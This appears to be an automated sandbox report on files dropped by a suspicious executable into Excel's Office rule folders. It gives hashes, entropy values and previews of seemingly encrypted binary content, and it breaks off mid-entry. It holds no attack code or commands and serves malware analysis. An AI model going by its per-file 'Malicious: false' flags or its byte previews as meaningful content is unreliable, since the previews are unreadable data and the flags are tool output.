Preview:	<?xml.`qE.9.Ue...".f0.Nc..A%..;..q-~.....c~S.2..0(.B..a....A...M.V;U.....!...g.....&.\zZh.!...Z......Cbk*.....A.Sx...o.tt..o.....w........ZTp....y..X!.zc..lKz8Q..Q.......$.9l...A.......(H...Zh...8U:R....p$B.\|.l....f..._\.....,K..~..Z.c.`...U..U..u...M...,(.G....CK..F.x'..(N......<.p.A..........f...m..>..w"...../......'D.v..H..1...P..Y.G.._.]0..P-.%.7...p..:E....C.c....e6.....pO..`....I..hiEV..k0.F.e.]W....y...+.%<...G.......m.,..7\.........n+...`vI......L.....,Qm....ME.rl..^uj`xS. .e.......$...~....Bi.....i1...i...ko.L........{.T.X.Y...P.0....q..a .<.......g.it.C....s...X.+...G.!....=H.<.E...%.._..x.(.:.....+.......?.Z..........n..).C/...1.&...C$q..1..a ..}=`9.(@?.....dk..x.%2}.W. .8..".....17..c"^.n.b...C.....\|.(.....Ks..:tR.TJ....N.G.s<]...<M....:...{[..{A....:....]..At.1.~.&%....4..f.v.C....,.>......E.t....?[n......71=......h .......h.$.....W.h....g+..:..c....0.ir...J..{..-.9.b......2..Q).(u.M(..R\.F).p.x.#...............D.C....!.Zg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.888692991275198
Encrypted:	false
SSDEEP:	48:A+u98z/azoVFr7Mp//vBL61uhBxzx0OVqN6AZyivD:jtz/jz8JLgGBxzpqTX
MD5:	791F19D2FE8D844B8463C0202A65CB20
SHA1:	E2A672DFA0F566608E469848C167AF2DBA477680
SHA-256:	22DBA344D7FCA5C212A2179269A4B5F045D7B82D5A3692895EF960F8647F27DF
SHA-512:	F6F8D0A17CD0CABB0DB1525FF1ACB462FA04F07E1932F990B62DEFCDC47AEE8EB1F90D9A0EC617D2C398D07BB1758FE826E1C6417AEDB942750AAB0ECD774C8C
Malicious:	false
Preview:	<?xml./.....[......<..1...X.~..%R..>.....k.:..5f..../)X..i#.K...j...A.............&....){.jW#...r...g...QUt.I....E.......f..5.v6...".o)W>6z..=..Z.o....6...0...?.rBz...I9uDck..g..o..A.~Z......P.;=..T..m.MO.^b8....L...U^5.oW....l'.H../....$...;. kJ.%@.fo..6.)...[$=.s..}Ajh.x....rR.B.....pW..?.....7%.(.X......a....I2...^."%.'&.A.gU*.r8\..Lj!R.s.0...V..q..v.T...J.&M.T.NWy..^..R.(.D....KH.si.........C....g.)y..,N.W..Nf......x^.M.O.`...d.......;).eQ..p.A.....?bl.l.hP..>R.gh.....8c..5.z].Jvc34..(.%).nf"..x.O.).P....<......)....W....w..g.=.@....\|:...(c.iP.PH.e..Zc.]....v.O......f-...Q+.-.K..ME.W....?.Tp1y.../.7....... ..lB7.6}.......!.a:...\|Ma..>..#s......tG.,.c...j7........i.a'..m.h....\>.&.....I...B.+.H.x.1xV.5...dKP.2...j0..d@.e...06.\|....5...j........\.[..<MO.ei......jK..;x...G.i......66Y..Z.....R$..5."...2$.}....M...{...^....=.Hv......14@&.u[.]b.a.x...k@s........D...j...E...c.a....=.V)r.a....}t........IrJ.%}.).n......Z.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8127363784974895
Encrypted:	false
SSDEEP:	24:kZ2Q3jZVEDaOdPq6w7i8qY+T7lUWa4P+xw/ldd/Zcxpa9Wfo09yY0FEbD:DQ3jZVEDv8i8q/T7mQPXZZcxKWfo02UD
MD5:	74920352C5655CF6F127261194435381
SHA1:	63E41FC7DC1922AAEC57BF7B33B06D07EB07B639
SHA-256:	3E280FF80EF79FCE4034A5B0E8C70BA590CCDA18BDE19FD9CFB81D8AD957CEA8
SHA-512:	5260F74B7BFC50939AF00CE7042F55650467046D2F2EC340524730A84F3E5CE65E49430EC83457D3ABF0D5DA55A3F9B517A7D29CFF6429F527276580F8374B11
Malicious:	false
Preview:	<?xml.Len.....DN. .q.4}...IR0;..fr.......b`T.Ry..U....#A..].z.?.EMw<Z.!....W.;'#G\.0.H..)`6...W....h.......9bk..{l;..]...n......Md.....Y..7.g..7z}...{...z.vN.C%..I.".,.2.r..e......u%9..w.3..@..9...`...k.l..?XB"%....r.>].;..`).Mh.@...w..d....}h...V.b.f...+..:._..;.....S.M....]S....B7..+.+.\|;.2.Qj.CiXd.q..7J.r....j.>..t..i2Y.....UX.s.A5q..6WCh..S.a.U..??{...dM.Z..F,Y.w..r.O.{)..\|..A$......r!.9..1...0..V<"..N.d...#..i.....Xj...&.WD....T....U]..".A)e-I,..&..D...{...{6.L>..c(.sz..Ep.\..6m.f...S7.L..;.K..X.6...,m?..3....(.\...z.@...5...$....4.8.2.O$....\....csX.u....r..;..g .'..b...fw..M...d..K........2....t@.U..3..9.^...Q_D.(G..9+.DR]z.7..G..9.....c`,.V.../.....;`..8.!.w.+...&A..Q..3f%.T......LH..0.,).^l..tG.;wR~\|.....l.\|.7.8....9+....q...>..w.R..2../]...ur..PILS8.t.5...T...J......x.#.\|.x=[.T....Q.J.S.Ih(Qf.Y..?..7.Z.,9.@..5...x..}..O.4hZ..\.n...6fN........ +..gv.qjI].2.......F23.vF.p...........X..A..J.>uY j..ct....G....E...S`9=..u...plM.i..s......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.776084306484594
Encrypted:	false
SSDEEP:	24:oif4jFJI7MEX026W827H+AgqUHP5cyd0V4lTnYw4c3SbD:dC07D7Z8oHLgPHRcO0YTWcQD
MD5:	F1C34554669CEAEC0AD177E34F4A6CD2
SHA1:	B8BFDA8B08790C8B38A01FCB8B916240795BDD3D
SHA-256:	7895840D563E095C20A6B8AF514A8D90B6770D3CF11F7320B3C609DCC7956E27
SHA-512:	4F33190F9A4E83F4900FBD0709B593B1FE8A7D2AE72652BFABC3ED8F0BAD62A6756A727D9CDDBFAD712A8AAB6346B45324E46CE887580B67448A719C5855E98C
Malicious:	false
Preview:	<?xml..YbLl.....ttK......iR.?..ue}0@T........BU.}..P\........!1...Y/\....,.x#0....KBV..0w..........;.7 b.S.z`.i.L._.U..&...&..C J.....m.........^#..y1o^.."......@.!...D.R.X_.&...[..........N.xX.........U...Mkzz.?H.G..P..4A...W.s>..%..3m....qA.9....4..#.....-X#...~...;....q...>....$....x..=l..+..{..pmz{<...s7.?.......w.;Q....f~<..D.dX4.V...#36a...f......r./H.?..&.......l]..6..`(.(U.....k..[A...,...G.7..#...,.~..WY..g..M...ce..r\L.f..._V.A....3.O..y.I,.~.o.=.l.Km...o......].j...;>........$.a.E.......H.45.[.[.ueq...d.v....6)...."..D.~..\...%...f}..._...1T..f.zKJ.EF....!E2A_...A.....p.........V.:...m..f.D.j.L.Zd..4.......Q..?..I.....g)cmE..=..r.Q.c.L5.. .D..w.^..s.X...?.}...K=.....?u....i.e.{<&R.4.U".9<J...f-....V.H,.......F-A..>...qs.^.*.p}../....$.6qec./..}X.j.hx.....JCd.`8.ds.J.....Y.U....n.].zM!.....cb....1...a..c.?.@...\|1.}..3...?...!..>.9...0.(...y..h}.Dh.r..yGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.838777490417982
Encrypted:	false
SSDEEP:	24:M1FaunqFicpokQZWrG1kp2Ss2UgVIT+xAMCDeEpaDBxbD:0ngiSokQZ+yQj6KVaeEpaD/D
MD5:	86B7258E303E01EB0EFD37C218ABB13E
SHA1:	B94507865CFCA40857D48B07EA07F46BBF8991BB
SHA-256:	9CA07ED46297A9721F231E05DB11372EEC6D3951128414D6A68BA3C7F85DB18D
SHA-512:	401F044FF843D461A9FFCC7A23BC17275A8FED2F8AB7D6C37B38BCBFC3710A10F402F96A9437B015B0409DDDB790ED7A625E871885566607A90C20F2867CA21B
Malicious:	false
Preview:	<?xml..f....3X..`~.%...YB.....@b].(..f.t..Q.9h.ADeF~.n.eD....XF...2...?.hg.6.q(..+.fW..o;1...5..k=z..u..Q.h.....r..w4.....U...Q..9g.}2..e...;..s?..'?...}...g...l.{q!..^.P..y.wX...G_.k..d....$$x. j............;m..../.._.r.G..L.................2{...P.....Sp9I.k.6..~..(9K.}+.T..g..}........%..z.N.....9.}{.g..iF:M..K.....{^..(:.-.pL....@...0....K......+[..=.<"........F..eq.$.k1....$.FV...lr`..!Q.w.Dz&c...,x..... ...W.+..i...F;....2..(l....\........O...P..lEVf.Q.LD\|.......[...p.e...].a.......... ........U.~....f...p^..........#.9..{.x.@.Q...v.j..T.......K...A..$.i....ye...%z.G....h.,..L`.J....\W....{^k....X.T./......P.a...(.V.:.....H.G....9.....!.E.,..g..oSB.=]..][vD..!,.. ...kgR.w.<`..{.%.$.HcM-8.W.fC.=.....3..4.._T.8T.x...\|._\|k>&\......X'... .~..F....1.rS...B....... ...O3./B...<.e.u.).....`V}x.L.aC..zv....._...l.\.,..~.R.......6.e..X.z..l.T..q..oi,N.....j...U.........tR.kXM&..ZL.f...yTn.5...h...N..*5.x..;U..SS...a.W\.... 6.G.i..&/.8x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.838410791617977
Encrypted:	false
SSDEEP:	24:EMLzBNOQMSTa3RzB1AfsD+3uhHi6UrcHLg7KbVoP/W3kGuHhobDcm3nbD:HLzbOQjaBBQSiALisVonRXebJbD
MD5:	C3E4A93B1F58446B2642EA77E0493A33
SHA1:	D5B78901E772534E14E943729CC788D3D65BC5D8
SHA-256:	30E27720B16EC9AEEF82439E91DD0A9B6F641A21D901F0B0F2121F947688D90B
SHA-512:	F0F4FDAD4141F7B89CE025901588E13F2C8366644890EBD792FBF290DCA5BC4847F27F4441B5A61D9836D78DA0660E00394A44ABC9048D37509943656F1C1351
Malicious:	false
Preview:	<?xml...........=;....4a.~.W.u#Ry....P9..p).\|.E5.$]b.Kfk'.!.../.K..m.......?pZzF8.P..'<}..h...,.k.G.o.....^.Q(A......O...N.)~l..h..e.....B.....yR.W..t..q6j.Mp....q.o. ..00/..E..3..+(..2.t.........iv+.b.)7.\|NE..K.O.=@S..".,.{...I.c:._...V..w..&..dE......^/..m..@n.x.`..oT..KS,...e:.u..p..h..A.\|4xvU.[5CjL4..K#6..5..M.r.7y.k..`...U.w....on...{...1..$..T.n..Q.=.\B...L..}PA.......o....6.^....'. .{q., .6t....m..x..PK.&/ ...b.]h...l.KX........p...y2......PA.X[$..^..b3...,&...6...j.K....fK.:....[E..M.;.=.=NT}......-0.+.3.[..Q2+....1...h.'...P...........""H.m......."..+h%..}..5.rt..n6,...;.. U.[ja..O.?.....nL.......Y{..`>........3.AT4...,R...0...!8E...8..Q..;.F.L6]z\....Z..e..>..M\0YHc.#.C.V.M.}Rc.J..a.Q..y..\|....8.I.c.`.......N...>.......A.z.....u.I.......v.s'3Q.\|'.6.#...!d..r......".....G....56.:v......q.\|>Z.]......W..$.(..Y....,.....=..9~>&..wt...<\_z.....3.z....cJ.Y...T.-....vJ\|.A.O..8G\|m6...*.O.c.e.2n$6M= ]%;/.@Di..\|.p..6F6..#1.3...P.X...O3~.Ov

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.896804196476291
Encrypted:	false
SSDEEP:	24:givrxxwff6/80xIPdyEBx4zEeCYs0SivGufPFR7C4vKFTPE1lIenw59bD:giDKF7Pdnvels0SeKeKFDS2enU9D
MD5:	79ABBD636B9790FBED8B5FF2F48C250A
SHA1:	09F88058A990759EE43B76DEB0479F42370595C8
SHA-256:	C22F24F5FCD321EBBE3A52AEEE57FA25327B161CF5E583DBFBB4792B94B9EEDC
SHA-512:	5501BBB4B5A7AF2757B570054462D10401A0A0D3EB31AD58E194C4B1A9710E00BA7042EB69E2DEF179BAF8CBD1A9F1A7877D2A92CE3C451F3F58B5E4FC02A865
Malicious:	false
Preview:	<?xmlZ..gV..?h.1rwV..."."O..K.&^.]....@&....P1.i."L^J ../...Mzu....E.J.).\|h.!..pj.d.jJ....].+`T.........A..H.....2....}..^.....K....C.23H..G....~u...I.V..K...p......Tn.....9.M.E.+f.TP.]OW.......0...x.M?5^...<...J}W.v,....f.O;~/z.x..m.....A.`.Nf..@..a.......)..!q.-.<...... .k...B.....a+.f.....r6..9...u.......&s".....o..)pyL Hd.M..S.._....{..P..C7c..2..\|es.'.vT.R.:...?2K.j.c...=^.a......Kk.$...a...(.E.I....f...,.2..H`.N......RJ.....~-..a}<.M.../.GX....Q.4k.\..n.V:....o..j..W........s..B....hVEG0.d..... ...^..9[.l>wS.+.#uZ..u.2...n.s.......B......_.9.Bf>+E0A.$..[x.%[en.F...W:.eg..6..K....~..Y......c..........I...../3y'...y..q.=^..../4.V.<../'k,E.#N.~4...X.So?.0.;3.=.SY...cMW`.A]...$...i....f../s......yg%.....V.V<....kK...(?D..v...g9$.N..xv..T..\|n..I.........LV.yf..[...{....ex.!Rs{.5>)..5}2....\...6!=..}BZI..x....Yn.h.P.x,e%.U......;j......$2....k.."_J.B..#.................>..f.l._HA.G?%VH.i5<._..t...Q.G.*.....w.._X..S^;3N.B'....jmc@M.dN.A6y.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.8691367057706865
Encrypted:	false
SSDEEP:	24:NxWMMngnCpz1g3Ij6nOiF77TtOrGX15Pa207xiACzVkRDffjnbD:DWMa03Ija7VOr81p03iVqDnnD
MD5:	365A37D9B462F04D13B4A2EFD4AEC50A
SHA1:	F2889839246FBBFAF910993C2FE1CD1B266AD7C3
SHA-256:	6971975A3284D00B320C5017ECBB6EC8EA0A063F4429B759825B8C19B5739ECB
SHA-512:	F9C7AD49F3B59FD09DECA8DF72B80B64EDCC602782C70F2DE0AD0F1F0AEB2A0A650BFC28594443D57E6C28EBD8F7EC09C85A4332D81CAE6346758CB735360BC7
Malicious:	false
Preview:	<?xml..P......&..y.>cX.Yy=.8......+K...[..3.Ab..2R..yU....h,0m...q.y....mk.t~.]...M`m}...W.z.D.ub7..k.y.T...Y.i'~.z.P ..Ip...g.~..S.._.8T.U.7.YR..........m..j..:.YN{gt8..Z...v.0.}Zc.U.N.^%5..W....j......$&0$.2.. .(;.....x..N....^...lq._...}..3iRS.R.............f...r...v,.&JOk..0..9U,..R.....0....YU.Q..<.Y....n...m.$\|..=.O.o5.....63.L.E?G..Ea..l.jo..Q~s.`V.-...s...G.YX..5.......:wO.lF.........uw...C.s..V...T0.y.Z\7T\|u....d. ..p".MQ'yV........F...r..G>..i.).bcS.y..........Z....M..M..\|HY/..,.5..........t..%}.<.)8.E.}>..X.F._.p....F..........3..".. 1..x4.o~`yVx.32..#.F....q.(&...0..GD.J.h....3.m..Ka...b .2....t..39..x..0#N...X?+..VT#aa..\|Z....k.]..2P...n....h.Q.}V,f..T3..}h.Wg...>9.b#s..t.;tmYQ..\|<[..fw...<..QU.a....U.6.i......t..4..f.}.P:4[....r.[._..w..Krm]:\|..#.r.....JV..x.Q.._S>..J.xjcV.<N.^.B.Fe.._....w&g.....g$X....V..A.........)..\.."......RH".(..~.w.aiZ...`.x......]@Z[!fN...D45Y.n.!.KT....Zd......yy..A+]i.&W.d...#>R.8.q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.892143774515884
Encrypted:	false
SSDEEP:	48:n+1tnU5xSz8EnIXwUYLW5DPM6rLjrHVJudo9ZqkcIyxqlD:otpVdPLW5btrvr1JuGqPMd
MD5:	AF5590D1FC75DD53B94F9C1B4D23902A
SHA1:	B36CA65BCD50B2C53A3B5E62AA14F46DB3391B98
SHA-256:	D3652DE7DC34A7DB504591AA509ECDF07A26551AE94CD84993A94F4F0A12504C
SHA-512:	2A725047A4854F259FB4BCA0173A430C89BEFF61644F666E0FEB3826AF0449441E3EDB47DA4581CE5DE9DA184F6F79CA07C5006576BEDA6E60D808A5F5D9F520
Malicious:	false
Preview:	<?xml.....9B.Q...R.D.K.i7.l...].!...x..]v.U.....q..j..E1..Mz..0.{T7..taxm.R.......{.`..+.-..A.X_......,...1....`.#........Wd.kyf....`G.>a.).^J...\Fu.f.~.=..\|/..Jb..dG.3.S.K.7...O..IN..m._r..:v.9......cr....b.....-.3.....N2..'3.[.`..Y+@....n.~....S...Y...&mL.L..m...eA.95.PL j..9..I.}j/K..\y...+.V......LR>.....P...5. .4\..........)..@....&..^&:x..$.-%.}.k...c..C...u..k+.g..P....\|.7#.SOt...:<.{...q.C>.@ZFh.:..ql[[.zZS)\Q).,.QD.R.n%......=.z..4......L..b....B..e.a(7....j..1.c..%...M.j.w..._...t9..{...h\|.(....../l[..c....am..e.R..Ax..5E.ay./.+..;.5...m.w..{.i.j...M'!...............lEv.\0."kT....]L,.....L.o...v.u.......-z..\.hD..FI...P.$}...W.,....O.....a7~1.T.X......8.\|QQ'..,..{[7.Ez@Uu?........../.<....}.E`.]....qy....a....(M.6ZC...#\....N......m...@.g9...`.h.BBY.Y.....J.$q..........f......S.(......a.t.....Rk*b._.i..zCE.w/.T....W7GLDq"2<7......~^Nn.....{O.r7.....8Z%{>.E..........p...`..f-..S...dL^V.0.-.j..z}......?...O=B...].P../Q...>....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.871020226993997
Encrypted:	false
SSDEEP:	24:THSIe+83u5OJg77tqsJ/biLEXVxPkqtEzWBCUhTBM7BF+oTJyQQKLUOydcQbD:jSM8e5OJVsVmEXfPz6SBj5UF+UOK4OyH
MD5:	6F616024315314ED1B8D6A7DFB5E11F1
SHA1:	28D19F96C68273D973E61B5E0B42277C2678E9EE
SHA-256:	4880F1C57D140E8A39984FAA4F4630CA0B3DBD2BC790B45BD49A87BFF08F3587
SHA-512:	30315C5586860341A4C166AD7728CB5E1ACA62A97250CBF239D917F5BF62462E7A3368F44418E70E4736BCEABDA32E6508EF7CDCE66F3ED1DBAF7EDD149964A0
Malicious:	false
Preview:	<?xml..I!,.]Tu.(...R.........E-Id.p.Y..il.u)....~i...q....S$P.T.....\|H........%..[.........\|%.&VO.!..gD ......jb........a...e.q...g....5...............$<. ...........l&&0u...^_s...K.~A ..nAw.(R.:.y8...l..e..gxec`.$'""r..j..).........s..L....].d...Fj.A.X.3..N....\|."6.0....u...b...um%.M....z ..v.........[.f#{=..Y.....#y..z.~....?.p.nI...q($nQ.u..../.InF......../.C.&.p:N.b(U..Q..J\|..xt'..{F.........-....`..qX..$O...RN.'....[._...N ...^.....[..j...\|.....`..'F..7@.~0Ur.....L.....*.[7.....4.k..G. .%..2.e...9...H.:,k..IX."..Ta.M...........Rq.F.....Zw..L?OLz.2.9..!r.,z............!.H;.L...."&.vn.....=..28.`.-..BK`...A.L.h.!S.........xu..8........(.......v..t=..z.d&.....W..O..K...HP9..>..l.!...G...u..z..9.6.;u..$....n...?o.-.).$.6>u.3.=..d..)td_[.D"z .O7..>.....)_x..t.G..4d....<y..T....OYN"E...G7.....).....`h@".W....q.F....._.c.M.`rV.h.c.q...4...N.7K.q...?..B...$..G=....._T1..:C.i`...e. P.8i.Z;.....2..d..\|.h7#......Wf.....Ww............u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.904063613379362
Encrypted:	false
SSDEEP:	48:aBclLxKaY9hezZEYTBsmZj0rQr+YA4/CEe2aRmxfiBbFD:aUxtY96GYPCr6A4BGmxfiBJ
MD5:	0F493247A70A26922C39E522C455D13E
SHA1:	8BA7E794563C8D3615422DE080BF8D051E2FF27E
SHA-256:	B09F0E582EA2F4D97A3CBF50D2F59DAF2FD78B321BA0044D71EFA7DC45CD80F5
SHA-512:	41F4984A2C510264262ECACE20DB4AEB9605B575E162CBA530C3A0A9A45BC582324F122123CE88DD7535B046BA387FF39F84F6E541A9A78C51CEDFEF51D9F9EE
Malicious:	false
Preview:	<?xml._.`t.gS.l.c.......rm.B^b./B."...#...... ....$3.WoKM.[.c..Y....e..89{}.j.29.zO.......u.'.m....!.]B...oIT.LmA-J.....V.\<].).\|Z6.-........... ..K..5b....{m'i...K....p.(...\|=...).9.yU.....v.@-.7G....M...i...L-.?..3f....9......X\.M...0.F.u...x.a,..T{E..2.f.bv\|.k....3S.6..Z8C.5/......y..Bh..F....c:.`C...I.......H...b....D."h....q....=....../L..H.......w..F.h.:..l..6.AY..(V$.v.....5l...J`k.i....d....6..qK......@1:.c6v....T9.#+.,._.jNw.q.....o.G.4..=.(.......~.k.0kq...,.Z.`.?y..,...(Qr4.g...DAUXj.Qs....NI.^../.".uZ..6..7.a....}- .....L.....n.`X009.....(......lC'...JT..i..ioi.#...../....6.q.6....f.K..V?6..?.......cK..r.LS.7..CT.[.[.B..".....{.h...4...X..N;..$o!(Ia...Y+.h..[z.u..Y.i.K...c.g..b{.').4.&........[w..H.....%...K....&.\|G.K4....y...%d-...Tc.F.........O.2C.z.h6.S...r.3....1^\..!{........B{.++B...#[.4..cU......V ./......O.....j.$cfI.t^....\..>o.>.k/.*.p.....iYP.R...^....G!.7.!.u4.JD.Ir...8?._f...3....d...V...d.J!..'..P.;"9.!.=.\~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.864943305959042
Encrypted:	false
SSDEEP:	24:xU1K0ou/pT1Vix15CyovNOhKeytTDmgmHFOGsvV0U/+ZbD:xwau/pTSrCyovNOKeUmUvUD
MD5:	4DB4BD6AF282B5AFA036799CBEB69355
SHA1:	28DEFC88D12A8F0176DE1B5C447CB372B6848348
SHA-256:	3FA30D3AAAEC46640AC33F9D6DB2598AF7BBC54ECDB284E8B54B6F4F4445748F
SHA-512:	691A53460BB41C536708361AEDA8839DE7CCAAE73FF2543DA1FCCDC9101B29BA362865D6EDAD541E83CC023831E3EAEA7431F769E4076A80A3CFB16095E9B37B
Malicious:	false
Preview:	<?xml.4X....s..{..{...h...`7.K,yJ..g..]I..?h.....E[..9'........<I.@..X..l....,9..T...$..K..w....!)..~.......f.k..._...[.w.\|t.Ww..5v..<.N...,..........$.X.LG.f......2c.".^.8-...v.[L..~O.z.......t.......Ad.N`.0.K-..M8]A....H..nl..UEV..;.M..[c.F...O..<Cb....Y..N..yI.n..<..............D]&.!_a..+..o...IC.ix.<2.\|>..+...........H".oo...o....>\TZ....u._.A....b,..3.c.......\|;...3....x.80.x..p..)..D.uP..>....<O...V..U1...=.N.#..XKa.=.=.....&..?.X.$.kx.o..+.......7^....8..~..Q..e.7~P..9....Li(...`...x9.j..g..L..fE}W...N.p~.,.Q...U...u.......K.%.>..e.......A.%....W....<On%.qF......&o..Vz.....I../O......X.,G.8..h.i.i]..F.7.A..v]..Xy.._...)g a.WdQ.:..#..f.c.f.D...\..9g....f..}>%.}.........R.g......d...if..}...s?.+".l...1..p\|k>.R...0....%....0W......L.6.l..i.mI..1&R.<.........I.J..}.:$p.x.....y..$.9.4...=3e....7......V\...b.g.Z.t.K...l..\.5.....H..c..*M...F...9.L".5).o..\|d..Yc-...)N.:.....ij8...........(X.F.o...@..U[.C...uu.w...$G`.2..Y_...%..K....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.892747581157581
Encrypted:	false
SSDEEP:	48:u74a2njfD7W3U1S6KVqg0zwXwxaQ0PPMaMQeFkD81ewccVoT+P7YD:m4aoLDMmXKgg0kUaQWJMQemDrS1E
MD5:	A30A452327150447BFD9D35AB11F50B1
SHA1:	C974F18B0E517789138BD5D131C89B136E13FC3F
SHA-256:	ACE49492FC094BFD9ADF292F09E5EA0BF8A9AB1B525CEB76F2E15E67AC2C8B78
SHA-512:	0ABE5593A6D8EECC2184EBA16A70B709FDDE94B37CD6F55611C1EBB567F8A7E9AD40F5B3ECFDAF45BAB0523274EF45DE6BEE868761D90773C495667EFCB61839
Malicious:	false
Preview:	<?xml7..q..T..y.-....)P.6.K...&A.o[...w.l.N:....w.L...L.%.9.So...."..;.;.Hr.8.Go2(.2......03.1@.mW..p./E.c.Yg]WV......:.m..='.lB...^.x...$..w......1t.t...S...`.n7..M.%..'p.C.T...PEj.jV.7..../..9g....x&...!.y.gm...[>.Y<...A...TB\....,Gnz..v..1+.......Y:..~=....x.A....:.<.#..S4.....AT.....I.....rXf.<.m,...5`............j..E..e...M.F.ix_....im.wgQ.W..g........v.l.R.l6..}}.M.6.(..._.....t...rp..z.MJ.u6i...7.HF_.2.I....e..&.o.6Rp9>~.....C.}...#!...[.P/..0.l.~.`...z(......+.C.<.T....Vv5....X8.... {.%...I7.@.K.N....`.8..w.).`/.$y..>.:....).2..8:J...4R......@..6..w.~...?..P../...j.w.((.qNZB:.]u..Ow. ........U.. ..v7.nV...t......J.od.M@....$.$=.v.1,~.zB.E@> [..........)H.....i.8@/<k.3z.....tw..#.j=0\|B..}..w..p........ZC.d.3.j'..kAp.t......-..K.%&.8.....T..C. *.B.Rf.R&.Zx...Z16.wJ.........a.....5.GY?w.W.k>\|0]u.S.;..A9.-..X.(W......w5.2........g'<.....[.,8N..^f...%.i.U?3.j....>..~..]FO=....u.`).x..}.M.F....3...;)..J....k..C.&......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.828719029083378
Encrypted:	false
SSDEEP:	24:xodYMa5bW1WrNh6aI6ye7bdzDWTg5napX+xp1Ew4aRonwuUbD:xofa5asrN856/0Tg5mXEEFionQD
MD5:	5134337155BE4EFD8836CA6878B628CD
SHA1:	12602686C15B4396D9320B7E715FB87154F515A3
SHA-256:	EC5BC72C74CF5340A6595DF6563B2C5218A038060DBB877C42CF6A1E7CF1B1C3
SHA-512:	C93CDE5ED67B1F761874CC4C41021C95F9484A112098FBA584965D828372017BC175508C0A9C4138826CCEEA83A5D4582CEF38A9619B32761C9484B4E6886CEC
Malicious:	false
Preview:	<?xml./y.P.`K1a...o.......g.DW.=M0..Qu.>.'..5%.{Qi8.b<&. ....:.z.Jv...[...^..P.M......z.$.b./....,eL.{Yh........-5..c..;.w....s.02..YO.:.s.RI.....L.v.%H....K.B!d...9............H.KK.r.~..,.t.2...i.>n.@......mlPUa.e.a..."9.....pH.ep~.........v.ID....,3..Ym......g9.....2(A<..([.....x.2...i.@:g..>...A.Eg3...i...`.&z...3}.+...h...$....u........f...XCx.QX....0..b.1.h.7.g......yY>z...PI...cmSP%.........ta..'u.^..2p:.k..%.5n.P..)...?s.f#....wI6....X.h.~I.5.ez""[=].2.eM{.tjw~^....O.....S..^%....jAr.z..^..>}.B.e~(n'..d..q.....t.G._L....?.............._.Y[...7U..~.]....E..).<..D.x.IOC.&\|..j.`...mN.L.D..[..+C..t%.F..h9..Q..4D..7................lL .A&..7-..z..yY.4^...K!...23.$.F...bP.'..xmVVx7jK8.,6Z..O.....aP.I.....G.... G.. 9..>u.....s.p..<..N.I..x.....J.8a.549..Q(..instd.?....W...U.:..r.7..........1...g2...2.....J....q.\|m...0l.v..v.4....Z<c].^...6("`...>......QU....#.y;...1..l.}....... mp..)..C?x..)..S;.p.F<....../b......b.......*.$@.R.Q.3p..-Ub$...\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.863940442970573
Encrypted:	false
SSDEEP:	48:J1PlO7NxhA2DTctHATB5nexx8a3Oy3meD:7ELhAoo6YP3vj
MD5:	79CA1D96665DEE1C99D43FFA64FF06B6
SHA1:	C5B6FB3B3904C81519E363E98CF466821ABA4060
SHA-256:	14B1E031DB291FA17EA562EF13FE45B6C596C19F9B4BEC19DC4640662BC270CC
